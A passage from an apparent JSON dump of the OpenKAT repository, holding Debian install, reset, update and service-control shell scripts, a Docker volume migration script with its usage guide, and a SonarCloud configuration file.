/etc/kat/mula.conf\n\necho \"Step 4.7 - Initialize databases\"\n\necho \"Setp 4.7.1 - Migrating database\"\nsudo -u kat rocky-cli migrate\n\necho \"Step 4.7.2 - Load data...\"\nsudo -u kat rocky-cli loaddata /usr/share/kat-rocky/OOI_database_seed.json\n\necho \"Step 4.7.3 - Run migrations bytes_db...\"\nsudo -u kat update-bytes-db\n\necho \"Step 4.7.4 - Run migrations katalogus_db...\"\nsudo -u kat update-katalogus-db\n\necho \"Step 4.7.5 - Run migrations mula_db...\"\nsudo -u kat update-mula-db\n\nif [[ ${2} != \"no_super_user\" ]]; then\n    echo \"Step 5 - Create Superuser & dev account\"\n    sudo -u kat rocky-cli createsuperuser\n    sudo -u kat rocky-cli setup_dev_account\nelse\n    echo \"Step 5 - Option no_super_user passed; skipping creating superuser & dev account\"\nfi\n\necho \"Step 6 - RabbitMQ-server setup\"\n\necho \"Step 6.1 - Install rabbitmq-server\"\nsudo apt -y install rabbitmq-server\n\necho \"Step 6.2 - Stop rabbitmq-server\"\nsudo systemctl stop rabbitmq-server\n\necho \"Step 6.3 - Kill epmd\"\nsudo epmd -kill\n\necho \"Step 6.4 - Add listeners to /etc/rabbitmq/rabbitmq.conf\"\nsudo su -c \"echo listeners.tcp.local = 127.0.0.1:5672 > /etc/rabbitmq/rabbitmq.conf\"\n\necho \"Step 6.5 - Add ERL_EPMD_ADDRESS to /etc/rabbitmq/rabbitmq-env.conf\"\nsudo su -c \"echo export ERL_EPMD_ADDRESS=127.0.0.1 > /etc/rabbitmq/rabbitmq-env.conf\"\n\necho \"Step 6.6 - Add NODENAME to /etc/rabbitmq/rabbitmq-env.conf\"\nsudo su -c \"echo export NODENAME=rabbit@localhost >> /etc/rabbitmq/rabbitmq-env.conf\"\n\necho \"Step 6.7 - Add inet info to /etc/rabbitmq/advanced.conf\"\nsudo su -c \"sudo cat > /etc/rabbitmq/advanced.conf << 'EOF'\n[\n    {kernel,[\n        {inet_dist_use_interface,{127,0,0,1}}\n    ]}\n].\nEOF\"\n\necho \"Step 6.8 - Restart rabbitmq-server\"\nsudo systemctl restart rabbitmq-server\n\necho \"Step 6.9 - Add or change kat user to rabbitmq and set password to ${RABBITMQ_PASSWORD}\"\nif ! sudo rabbitmqctl list_users | grep -q kat; then\n    echo \"Create kat user in rabbitmq with password ${RABBITMQ_PASSWORD}\"\n    sudo rabbitmqctl add_user kat \"${RABBITMQ_PASSWORD}\"\nelse\n    echo \"Change password for existing kat user to ${RABBITMQ_PASSWORD} to ensure it is set correctly\"\n    sudo rabbitmqctl change_password kat \"${RABBITMQ_PASSWORD}\"\nfi\n\necho \"Step 6.10 - Add vhost kat to rabbitmq\"\nsudo rabbitmqctl add_vhost kat\n\necho \"Step 6.11 - Set kat permissions in rabbitmq\"\nsudo rabbitmqctl set_permissions -p \"kat\" \"kat\" \".*\" \".*\" \".*\"\n\necho \"Step 7 - Configure start at system boot\"\nsudo systemctl enable kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl enable kat-rocky-worker\nfi\n\necho \"Step 8 - Restart OpenKAT\"\nsudo systemctl restart kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl restart kat-rocky-worker\nfi\n\necho \"Step 9 - End of OpenKAT install script\"\n"
  },
  {
    "path": "scripts/installation/openkat-reset.sh",
    "content": "#!/bin/bash\n\nset -e\n\nsource /etc/os-release\n\nif [ \"$ID\" != \"debian\" ]; then\n    echo \"The installation script is only supported on Debian\"\n    exit 1\nfi\n\n# Check Debian version\nif [ \"$VERSION_ID\" != \"12\" ]; then\n    echo \"Only Debian version 12 is supported\"\n    exit 1\nfi\n\nif [ $# -gt 1 ]; then\n    echo \"Usage: $0 [no_super_user]\"\n    exit 1\nfi\n\nread -p \"This script will delete all OpenKAT data. Are you sure? (y/n) \" -n 1 -r\necho\nif [[ ! $REPLY =~ ^[Yy]$ ]]; then\n    exit 1\nfi\n\npushd /\n\necho \"Stop OpenKAT\"\nsudo systemctl stop xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl stop kat-rocky-worker\nfi\n\necho \"Delete XTDB databases\"\nsudo rm -rf /var/lib/xtdb/*\n\necho \"Delete bytes data\"\nsudo rm -rf /var/lib/kat-bytes/*\n\necho \"Drop rocky_db...\"\nsudo -u postgres dropdb rocky_db\necho \"Create rocky_db...\"\nsudo -u postgres createdb rocky_db\necho \"Grant database rocky_db to rocky user...\"\nsudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO rocky;' rocky_db\n\necho \"Drop katalogus_db...\"\nsudo -u postgres dropdb katalogus_db\necho \"Create katalogus_db...\"\nsudo -u postgres createdb katalogus_db\necho \"Grant database katalogus_db to katalogus user...\"\nsudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO katalogus;' katalogus_db\n\necho \"Drop bytes_db...\"\nsudo -u postgres dropdb bytes_db\necho \"Create bytes_db...\"\nsudo -u postgres createdb bytes_db\necho \"Grant database bytes_db to bytes user...\"\nsudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO bytes;' bytes_db\n\necho \"Drop mula_db...\"\nsudo -u postgres dropdb mula_db\necho \"Create mula_db...\"\nsudo -u postgres createdb mula_db\necho \"Grant database muladb to mula user...\"\nsudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO mula;' mula_db\n\necho \"Delete vhost kat from rabbitmq\"\nsudo rabbitmqctl delete_vhost kat\necho \"Add vhost kat to rabbitmq\"\nsudo rabbitmqctl add_vhost kat\necho \"Set permissions for kat vhost\"\nsudo rabbitmqctl set_permissions -p \"kat\" \"kat\" \".*\" \".*\" \".*\"\n\necho \"Migrate databases\"\nsudo -u kat rocky-cli migrate\nsudo -u kat rocky-cli loaddata /usr/share/kat-rocky/OOI_database_seed.json\nsudo -u kat rocky-cli setup_dev_account\nsudo -u kat update-bytes-db\nsudo -u kat update-katalogus-db\nsudo -u kat update-mula-db\n\nif [[ ${1} != \"no_super_user\" ]]; then\n    echo \"Create Superuser\"\n    sudo -u kat rocky-cli createsuperuser\nfi\n\necho \"Start OpenKAT\"\nsudo systemctl start xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl start kat-rocky-worker\nfi\n\npopd\n"
  },
  {
    "path": "scripts/installation/openkat-restart.sh",
    "content": "#!/bin/bash\n\necho \"Restarting openKAT...\"\nsudo systemctl restart xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl restart kat-rocky-worker\nfi\n"
  },
  {
    "path": "scripts/installation/openkat-show-journal.sh",
    "content": "#!/bin/bash\n\nif [[ ${1} == \"\" ]]; then\n    echo \"Usage ./show_journal_openkat.sh [nr. of lines]\"\nelse\n    sudo journalctl -n \"${1}\"\nfi\n"
  },
  {
    "path": "scripts/installation/openkat-start.sh",
    "content": "#!/bin/bash\n\necho \"Starting openKAT...\"\nsudo systemctl start xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl start kat-rocky-worker\nfi\n"
  },
  {
    "path": "scripts/installation/openkat-status.sh",
    "content": "#!/bin/bash\n\nif [[ ${1} == \"\" ]]; then\n    echo \"Usage ./status_openkat.sh [process]\"\nelse\n    echo \"Status ${1}:\"\n    sudo systemctl status \"$1\"\nfi\n"
  },
  {
    "path": "scripts/installation/openkat-stop.sh",
    "content": "#!/bin/bash\n\necho \"Stopping openKAT...\"\nsudo systemctl stop xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl stop kat-rocky-worker\nfi\n"
  },
  {
    "path": "scripts/installation/openkat-update.sh",
    "content": "#!/bin/bash\n\n# Update script for Debian. The script matches the instructions on\n# https://docs.openkat.nl/installation_and_deployment/debianinstall.html\n\nset -e\n\nsource /etc/os-release\n\nif [ \"$ID\" != \"debian\" ]; then\n    echo \"The update script is only supported on Debian\"\n    exit 1\nfi\n\n# Check Debian version\nif [ \"$VERSION_ID\" != \"12\" ]; then\n    echo \"Only Debian version 12 is supported\"\n    exit 1\nfi\n\n# Checking if we don't have too many parameters\nif [ $# -gt 1 ]; then\n    echo \"Usage: $0 [OpenKAT version]\"\n    exit 1\nfi\n\ndebian_version=$VERSION_ID\n\necho \"Step 0 - Get needed tools and clean up\"\n\nif ! command -v sudo; then\n    if [ \"$EUID\" -ne 0 ]; then\n        echo \"Sudo could not be found, please first install sudo as root\"\n        exit 1\n    fi\n    apt -y update\n    apt -y install sudo\nfi\n\nsudo apt -y update\nsudo apt -y install curl\n\nrm -f kat-*.deb kat-debian1[12]-*.tar.gz xtdb-*.deb\n\necho \"Step 1 - Get latest release of OpenKAT\"\n\n# The URL of the latest xtdb-http-multinode release\nxtdb_url='https://github.com/underdarknl/xtdb-http-multinode/releases/latest'\n\n# The URL of the latest nl-kat-coordination release\nopenkat_url='https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/releases/latest'\n\necho \"Step 2 - Download OpenKAT and xtdb-http-multinode\"\n\n# Get the latest version of xtdb-http-multinode\nxtdb_version=$(curl -sL $xtdb_url | grep -m 1 -Po \"(?<=tag\\/)v[0-9\\.]*(?=\\\")\" | sed 's/^v//')\n\nif [ $# -eq 0 ]; then\n    # Get the latest version of OpenKAT if no version is specified\n    openkat_version=$(curl -sL $openkat_url | grep -m 1 -Po \"(?<=tag\\/)v[0-9\\.]*(?=\\\")\" | sed 's/^v//')\nelse\n    openkat_version=$1\nfi\n\necho \"Step 3 - Download the latest version of xtdb-http-multinode\"\necho \"Downloading xtdb-http-multinode version $xtdb_version...\"\nsudo curl -LO \"https://github.com/underdarknl/xtdb-http-multinode/releases/download/v${xtdb_version}/xtdb-http-multinode_${xtdb_version}_all.deb\"\n\necho \"Step 4 -  Download the latest version of OpenKAT\"\necho \"Downloading nl-kat-coordination version $openkat_version...\"\nsudo curl -LO \"https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/releases/download/v${openkat_version}/kat-debian${debian_version}-${openkat_version}.tar.gz\"\n\necho \"Step 5 - Install OpenKAT and xtdb-http-multinode\"\nsudo tar zvxf kat-*.tar.gz\nsudo apt install -y --no-install-recommends ./kat-*_amd64.deb ./xtdb-http-multinode_*_all.deb\n\necho \"Step 6 - Migrate databases\"\nsudo -u kat rocky-cli migrate\nsudo -u kat rocky-cli loaddata /usr/share/kat-rocky/OOI_database_seed.json\nsudo -u kat update-bytes-db\nsudo -u kat update-katalogus-db\nsudo -u kat update-mula-db\n\necho \"Step 7 - Restart OpenKAT\"\nsudo systemctl restart xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl restart kat-rocky-worker\nfi\n\necho \"End of OpenKAT update script\"\n"
  },
  {
    "path": "scripts/migrate-openkat.sh",
    "content": "#!/usr/bin/env bash\nset -euo pipefail\n\nPROJECT_NAME=\"nl-kat-coordination\"\nBACKUP_PATH=\"/tmp/openkatbackups\"\nIMAGE=\"alpine:latest\"\nCOMPOSE_FILE=\"docker-compose.yml\"\n\nDRY_RUN=false\nREMOVE_OLD_VOLUMES=false\nCLEANUP_ONLY=false\n\n# ---- CLI parsing ----\nwhile [[ $# -gt 0 ]]; do\n    case \"$1\" in\n    --dry-run)\n        DRY_RUN=true\n        shift\n        ;;\n    --project)\n        PROJECT_NAME=\"$2\"\n        shift 2\n        ;;\n    --remove-old-volumes)\n        REMOVE_OLD_VOLUMES=true\n        shift\n        ;;\n    --cleanup-only)\n        CLEANUP_ONLY=true\n        REMOVE_OLD_VOLUMES=true\n        shift\n        ;;\n    --backup-path)\n        BACKUP_PATH=\"$2\"\n        shift 2\n        ;;\n    --compose-file)\n        COMPOSE_FILE=\"$2\"\n        shift 2\n        ;;\n    *)\n        printf 'Unknown argument: %s\\n' \"$1\"\n        exit 1\n        ;;\n    esac\ndone\n\nprintf 'Usage: %s \\n' \"$(basename \"$0\")\"\nprintf ' --dry-run, DRY RUN: %s\\n' \"$DRY_RUN\"\nprintf ' --project, docker compose project name: %s\\n' \"$PROJECT_NAME\"\nprintf \"           (default: \\$COMPOSE_PROJECT_NAME or current directory name)\\n\"\nprintf ' --backup-path, BACKUP PATH: %s\\n' \"$BACKUP_PATH\"\nprintf ' --compose-file, COMPOSE FILE: %s\\n' \"$COMPOSE_FILE\"\nprintf ' --remove-old-volumes, REMOVE OLD VOLUMES: %s\\n' \"$REMOVE_OLD_VOLUMES\"\nprintf ' --cleanup-only, CLEANUP ONLY: %s\\n' \"$CLEANUP_ONLY\"\nprintf '--------------------------------------\\n'\n\n# ---- Helper ----\nrun_or_echo() {\n    if \"$DRY_RUN\"; then\n        printf '[DRY RUN] %q ' \"$@\"\n        printf '\\n'\n    else\n        \"$@\"\n    fi\n}\n\n# Determine project name for docker volume filtering.\n# Mirrors docker compose behavior: env var, then current directory name.\nif [ -z \"${PROJECT_NAME:-}\" ]; then\n    PROJECT_NAME=\"${COMPOSE_PROJECT_NAME:-$(basename \"$(pwd)\")}\"\nfi\n\nif ! \"$CLEANUP_ONLY\"; then\n    # ---- Step 1: Stop & remove old containers ----\n    printf 'Stopping and removing old containers...\\n'\n\n    if ! \"$DRY_RUN\"; then\n        docker compose -p \"$PROJECT_NAME\" down\n    fi\n\n    # ---- Step 2: Migrate volumes ----\n    printf 'Migrating volumes...\\n'\n\n    docker volume ls -q --filter \"name=${PROJECT_NAME}_\" |\n        while IFS= read -r old_vol; do\n            rest=\"${old_vol#\"${PROJECT_NAME}\"_}\"\n            new_vol=\"openkat_${rest}\"\n\n            printf '-----------------------------------------\\n'\n            printf 'Volume Migration:\\n'\n            printf '  OLD: %s\\n' \"$old_vol\"\n            printf '  NEW: %s\\n' \"$new_vol\"\n\n            # Ensure backup directory exists\n            run_or_echo mkdir -p \"$BACKUP_PATH/$old_vol\"\n\n            # In dry-run, only create a backup file\n            timestamp=\"$(date +%Y-%m-%d_%H%M%S)\"\n            backup_file=\"${BACKUP_PATH}/${old_vol}/${timestamp}_${old_vol}.tar.gz\"\n\n            printf '  Backing up to: %s\\n' \"$backup_file\"\n\n            if ! \"$DRY_RUN\"; then\n                docker run --rm \\\n                    --mount \"type=volume,src=${old_vol},dst=/data\" \\\n                    --mount \"type=bind,src=$(dirname \"$backup_file\"),dst=/backup\" \\\n                    \"$IMAGE\" \\\n                    sh -c \"cd /data && tar -czf /backup/$(basename \"$backup_file\") .\"\n\n                # create volume, if not exists\n                if ! docker volume inspect \"$new_vol\" > /dev/null 2>&1; then\n                    docker volume create \"$new_vol\"\n                fi\n\n                printf '  Restoring into new volume: %s\\n' \"$new_vol\"\n\n                docker run --rm \\\n                    --mount \"type=volume,src=${new_vol},dst=/data\" \\\n                    --mount \"type=bind,src=$(dirname \"$backup_file\"),dst=/backup,ro\" \\\n                    \"$IMAGE\" \\\n                    sh -c \"cd /data && tar -xzf /backup/$(basename \"$backup_file\")\"\n\n                printf '  RESTORE COMPLETE: %s\\n' \"$new_vol\"\n            fi\n        done\n\n    if \"$DRY_RUN\"; then\n        printf '  Restart your containers using the old names manually.\\n'\n    fi\nfi\n\n# ---- Step 3: Remove old volumes (optional) ----\nif \"$REMOVE_OLD_VOLUMES\"; then\n    printf 'Removing old volumes...\\n'\n\n    docker volume ls -q --filter \"name=${PROJECT_NAME}_\" |\n        while IFS= read -r old_vol; do\n            run_or_echo docker volume rm \"$old_vol\"\n        done\nfi\n\n# ---- Step 4: Start new stack ----\nif ! \"$CLEANUP_ONLY\"; then\n    printf 'Starting new docker-compose stack...\\n'\n    run_or_echo docker compose -f \"$COMPOSE_FILE\" up -d\nfi\n"
  },
  {
    "path": "scripts/migrate.md",
    "content": "# OpenKAT Migration Tool\n\nThis tool migrates Docker volumes from the **old OpenKAT naming scheme** to the **new OpenKAT naming scheme**, while creating backups and starting the new stack.\n\n---\n\n## Table of Contents\n\n1. [Purpose](#purpose)\n2. [Prerequisites](#prerequisites)\n3. [Usage](#usage)\n4. [Options](#options)\n5. [Migration Flow](#migration-flow)\n6. [Cleanup Only Mode](#cleanup-only-mode)\n7. [Recommended Workflow](#recommended-workflow)\n8. [Safety Notes](#safety-notes)\n\n---\n\n## Purpose\n\nThe script performs the following tasks:\n\n- Stops and removes old containers (`nl-kat-coordination-*`)\n- Backs up old volumes to `.tar.gz` files\n- Creates new volumes (`openkat_*`)\n- Restores backups into new volumes\n- Optionally removes old volumes\n- Starts the new OpenKAT Docker Compose stack\n\n---\n\n## Prerequisites\n\nBefore running the script, ensure:\n\n- Docker is installed and running\n- Docker Compose v2 (`docker compose`) is installed\n- The old OpenKAT stack is present and running (volumes exist)\n- You have sufficient disk space for backups\n- The new `docker-compose.yml` is available\n\n---\n\n## Usage\n\n`./migrate-openkat.sh`\n\nThis performs a full migration, creates backups but does not remove the old volumes.\n\n---\n\n## Options\n\n| Option                  | Description                                                           |\n| ----------------------- | --------------------------------------------------------------------- |\n| `--dry-run`             | Show what will happen without making changes                          |\n| `--backup-path <path>`  | Directory to store backups (default: `/tmp/openkatbackups`)           |\n| `--compose-file <path>` | Docker Compose file for the new stack (default: `docker-compose.yml`) |\n| `--cleanup-only`        | Skip migration; only remove old volumes                               |\n| `--remove-old-volumes`  | Remove legacy volumes after migration                                 |\n\n---\n\n## Migration Flow\n\nWhen run normally, the script performs:\n\n### Step 1 — Stop & Remove Old Containers\n\nAll containers matching:\n\n`nl-kat-coordination-*`\n\nare stopped and removed.\n\n---\n\n### Step 2 — Migrate Volumes\n\nFor each volume matching:\n\n`nl-kat-coordination_*`\n\nThe script:\n\n1. Creates a backup directory:\n   `<backup-path>/nl-kat-coordination_<service>`\n\n2. Backs up old volume into:\n   `<backup-path>/nl-kat-coordination_<service>/<timestamp>_nl-kat-coordination_<service>.tar.gz`\n\n3. Creates a new volume:\n   `openkat_<service>`\n\n4. Restores the backup into the new volume\n\n---\n\n### Step 3 — Remove Old Volumes\n\nIf `--remove-old-volumes` was specified, old volumes have already been deleted,\nif not, use the `--clean-up-only` mode to finish migration later.\n\n---\n\n### Step 4 — Start New Stack\n\nThe new OpenKAT stack is started:\n\n`docker compose -f <compose-file> up -d`\nor run `make up` from the root folder.\n\n---\n\n## Cleanup Only Mode\n\nIf you already completed migration and only want to delete old volumes, use:\n\n`./migrate-openkat.sh --cleanup-only`\n\nThis skips migration and only removes legacy volumes.\n\n---\n\n## Recommended Workflow\n\n### 1. Preview Migration (safe)\n\n`./migrate-openkat.sh --dry-run`\n\n### 2. Run Migration\n\n`./migrate-openkat.sh --backup-path /var/backups/openkat`\n\n### 3. Verify the new OpenKAT stack\n\n`make up`\n\n### 4. Remove old volumes (optional)\n\n`./migrate-openkat.sh --cleanup-only`\n\n---\n\n## Safety Notes\n\n- Backups are **never deleted automatically**\n- Old volumes are removed only if explicitly requested\n- Dry run mode is fully non-destructive\n- The script exits on errors to avoid partial migrations\n"
  },
  {
    "path": "sonar-project.properties",
    "content": "# Project info\nsonar.organization=vws\nsonar.projectKey=minvws_nl-kat-coordination\nsonar.projectName=OpenKAT\n\n# Info links shown in SonarCloud\nsonar.links.homepage=https://openkat.nl/\nsonar.links.scm=https://github.com/minvws/nl-kat-coordination/\n\n# Source encoding\nsonar.sourceEncoding=UTF-8\n\n# Python language configuration\nsonar.python.version=3.10\n\n# sonar.python.mypy.reportPaths=mypy/coverage.json\nsonar.python.coverage.reportPaths=*-coverage-fixed/coverage.xml\n\n# Analysis scoping\nsonar.sources=octopoes/,mula/scheduler/,bytes/bytes/,rocky/,boefjes/\nsonar.test.inclusions=octopoes/tests/,mula/tests/,bytes/tests/,rocky/tests/,boefjes/tests/\nsonar.tests=octopoes/tests/,mula/tests/,bytes/tests/,rocky/tests/,boefjes/tests/\n\n# Code coverage\n# sonar.php.tests.reportPath=reports/report-phpunit.xml\n# sonar.php.coverage.reportPaths=reports/coverage-phpunit.xml\n# sonar.javascript.lcov.reportPaths=coverage/lcov.info\n# sonar.coverage.exclusions=public/**/*,templates/**/*,assets/**/*.test.ts\n\n# Duplication exclusions\n# sonar.cpd.exclusions=public/**/*,templates/**/*\n\n# Additional reports\n# sonar.php.phpstan.reportPaths=reports/phpstan.json\n# sonar.eslint.reportPaths=reports/eslint.json\n"
  }
]